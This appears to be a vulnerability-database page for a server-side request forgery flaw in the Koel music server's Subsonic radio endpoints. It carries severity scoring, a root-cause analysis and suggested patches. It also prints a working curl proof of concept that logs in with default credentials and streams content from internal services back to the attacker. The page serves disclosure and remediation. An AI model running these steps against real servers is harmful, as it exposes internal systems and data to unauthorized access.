What is the CVSS score of CVE-2026-54493?

CVE-2026-54493 has a CVSS 3.1 base score of 7.7 (High). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N. EPSS exploitation probability: 0.3%.

Is there a public PoC exploit available for CVE-2026-54493?

Yes, a public proof-of-concept exploit is available for CVE-2026-54493. Prioritise patching immediately. EPSS: 0.3%.

Is there a patch available for CVE-2026-54493?

Yes, a patch is available for CVE-2026-54493. Update the affected software to the latest version immediately.

PHP CVE-2026-54493

EUVD-2026-63085 HIGH

Server-Side Request Forgery (SSRF) (CWE-918)

2026-07-15 https://github.com/koel/koel

GHSA-6p96-cfg5-4vhp

PHP Docker SSRF

7.7

CVSS 3.1 · Vendor: https://github.com/koel/koel

Severity by source

Vendor (https://github.com/koel/koel) PRIMARY

7.7 HIGH

AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

vuln.today AI

7.7 HIGH

Network-reachable Subsonic endpoint with a valid API key gives PR:L; low complexity; scope change since the server reaches other internal systems; full-read discloses internal data (C:H) with no integrity or availability impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N

Primary rating from Vendor (https://github.com/koel/koel).

CVSS VectorVendor: https://github.com/koel/koel

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

None

Scope

Changed

Confidentiality

High

Integrity

None

Availability

None

Lifecycle Timeline

Source Code Evidence Fetched

Jul 15, 2026 - 17:31 vuln.today

Analysis Generated

Jul 15, 2026 - 17:31 vuln.today

CVE Published

Jul 15, 2026 - 17:13 github-advisory

HIGH 7.7

DescriptionCVE.org

Summary

Koel v9.6.0 validates radio station URLs on the regular web API, but the Subsonic-compatible radio endpoints do not apply the same SSRF protections. An authenticated user can create or update a radio station with a private URL and then use Koel's radio streaming feature to make the server fetch that URL and return the upstream response body.

This was validated against v9.6.0 (352ea5ec27fa22294da8fb6beacb3d5552f0d09c) using the official phanan/koel:9.6.0 image.

Details

SafeUrl is applied on the web API, but not on the Subsonic endpoints

Koel's regular radio API protects station URLs with SafeUrl and HasAudioContentType:

app/Http/Requests/API/Radio/RadioStationStoreRequest.php
app/Http/Requests/API/Radio/RadioStationUpdateRequest.php

php

new SafeUrl(),
new HasAudioContentType(),

The Subsonic-compatible routes do not reuse those checks:

routes/subsonic.php
createInternetRadioStation.view
updateInternetRadioStation.view
app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php

php

return [
    'streamUrl' => ['required', 'string'],
    'name' => ['required', 'string'],
    'homepageUrl' => ['nullable', 'string'],
];

The result is a validation gap between two routes that create the same type of object.

The unvalidated URL is stored and later fetched server-side

The Subsonic controllers hand the supplied URL to the regular radio service without any SSRF validation:

app/Http/Controllers/Subsonic/CreateInternetRadioStationController.php
app/Http/Controllers/Subsonic/UpdateInternetRadioStationController.php
app/Services/RadioService.php

The SSRF is triggered when the station is played:

app/Http/Controllers/StreamRadioController.php
app/Services/Radio/RadioStreamService.php
app/Services/Radio/RadioStreamProxy.php

RadioStreamProxy::openStream() opens a web address supplied by the attacker (attacker-controlled URL) without proper checks:

php

$stream = fopen($url, 'r', false, $context);

The response body is returned to the attacker

If the upstream response is treated as a normal stream, Koel forwards it back to the client:

php

while (!feof($stream) && !connection_aborted()) {
    echo fread($stream, 8192);
    flush();
}

That makes this a full-read SSRF rather than a blind SSRF. The attacker is not only limited to causing an internal request, but also they can read the HTTP response through /radio/stream/{id}.

This behavior also differs from the documented expectation in docs/usage/radio.md, which says Koel checks the URL when adding or editing a radio station.

PoC

The following steps were validated against the official phanan/koel:9.6.0 image.

Authenticate and obtain an API token:

bash

API_TOKEN=$(
  curl -sS -X POST http://127.0.0.1:18081/api/me \
    -H 'Content-Type: application/json' \
    --data '{"email":"admin@koel.dev","password":"KoelIsCool"}' \
  | python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])'
)

Obtain the user's Subsonic API key:

bash

SUBSONIC_KEY=$(
  curl -sS http://127.0.0.1:18081/api/data \
    -H "Authorization: Bearer $API_TOKEN" \
  | python3 -c 'import json,sys; print(json.load(sys.stdin)["current_user"]["subsonic_api_key"])'
)

Prepare an internal-only target URL. In my validation, I used a host-side HTTP server reachable from the container through the Docker bridge:

bash

TARGET_URL="http://172.17.0.1:18090/feed.xml"

Confirm the regular web API blocks the URL:

bash

curl -i -X POST http://127.0.0.1:18081/api/radio/stations \
  -H "Authorization: Bearer $API_TOKEN" \
  -H 'Accept: application/json' \
  -H 'Content-Type: application/json' \
  --data "{\"name\":\"blocked\",\"url\":\"$TARGET_URL\"}"

Expected result:

HTTP 422
Error includes The url must point to a public URL.

Create the same station through the Subsonic route:

bash

curl -i -G http://127.0.0.1:18081/rest/createInternetRadioStation.view \
  --data-urlencode "apiKey=$SUBSONIC_KEY" \
  --data-urlencode 'f=json' \
  --data-urlencode 'name=xmlpeek' \
  --data-urlencode "streamUrl=$TARGET_URL"

Expected result:

HTTP 200
JSON includes "status":"ok"

Resolve the station ID and stream it:

bash

STATION_ID=$(
  curl -sS "http://127.0.0.1:18081/rest/getInternetRadioStations.view?apiKey=$SUBSONIC_KEY&f=json" \
  | python3 -c 'import json,sys; items=json.load(sys.stdin)["subsonic-response"]["internetRadioStations"]["internetRadioStation"]; print(next(x["id"] for x in items if x["name"]=="xmlpeek"))'
)

curl -i "http://127.0.0.1:18081/radio/stream/$STATION_ID?api_token=$API_TOKEN"

Expected result:

HTTP 200
Response body contains the upstream content from the internal target URL

An authenticated user can abuse Koel as a full-read SSRF proxy to access internal HTTP services reachable from the Koel server.

Practical impact includes:

Reading loopback-only, RFC1918, or Docker-bridge HTTP services
Accessing internal admin panels, metrics services, or metadata endpoints that are not publicly exposed
Performing internal HTTP reconnaissance and retrieving content through Koel itself

Since the response body is returned to the attacker, the impact is materially higher than a blind SSRF.

Remediation

The Subsonic request validators should apply the same URL validation as the main radio API, and the stream proxy should re-check the target before opening it.

Suggested patch for app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php:

diff

diff --git a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
--- a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
+++ b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
@@
 namespace App\Http\Requests\Subsonic;

 use App\Http\Requests\Request;
+use App\Rules\HasAudioContentType;
+use App\Rules\SafeUrl;
@@
     public function rules(): array
     {
         return [
-            'streamUrl' => ['required', 'string'],
+            'streamUrl' => ['required', 'url', new SafeUrl(), new HasAudioContentType()],
             'name' => ['required', 'string'],
             'homepageUrl' => ['nullable', 'string'],
         ];
     }
 }

Suggested patch for app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php:

diff

diff --git a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
--- a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
+++ b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
@@
 namespace App\Http\Requests\Subsonic;

 use App\Http\Requests\Request;
+use App\Rules\HasAudioContentType;
+use App\Rules\SafeUrl;
@@
     public function rules(): array
     {
         return [
             'id' => ['required', 'string'],
-            'streamUrl' => ['required', 'string'],
+            'streamUrl' => ['required', 'url', new SafeUrl(), new HasAudioContentType()],
             'name' => ['required', 'string'],
             'homepageUrl' => ['nullable', 'string'],
         ];
     }
 }

Suggested defense-in-depth patch for app/Services/Radio/RadioStreamProxy.php:

diff

diff --git a/app/Services/Radio/RadioStreamProxy.php b/app/Services/Radio/RadioStreamProxy.php
--- a/app/Services/Radio/RadioStreamProxy.php
+++ b/app/Services/Radio/RadioStreamProxy.php
@@
 namespace App\Services\Radio;

+use App\Helpers\Network;
 use App\Models\RadioStation;

 class RadioStreamProxy
 {
+    public function __construct(private readonly Network $network) {}
+
@@
     public function openStream(string $url)
     {
+        if (!$this->network->isSafeUrl($url)) {
+            return false;
+        }
+
         $context = stream_context_create([
             'http' => [
                 'header' => "Icy-MetaData: 1\r\n",
                 'timeout' => 5,
             ],

AnalysisAI

Full-read SSRF in Koel v9.6.0 allows any authenticated user to bypass URL validation via the Subsonic API, creating radio stations pointing to internal HTTP services and reading the full response body. A publicly available proof-of-concept exists; exploitation requires only standard user credentials and no elevated privileges.